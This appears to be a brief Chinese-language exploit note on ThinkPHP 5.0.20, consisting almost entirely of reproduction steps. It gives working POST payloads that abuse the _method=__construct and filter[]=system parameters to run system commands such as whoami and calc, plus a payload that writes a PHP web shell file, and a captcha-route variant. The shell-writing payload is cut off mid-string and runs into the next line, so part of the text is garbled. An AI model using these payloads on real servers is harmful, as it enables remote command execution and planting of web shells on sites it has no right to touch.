Thinkphp_5.0.20

# Thinkphp 5.0.20

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一、漏洞简介
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二、漏洞影响
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三、复现过程
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> https://www.0-sec.org/?s=index/index

POST

s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

> 写shell

POST

s=file_put_contents(‘zerosec.php’,’ 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc

POST

_method=__construct&filter[]=system&method=GET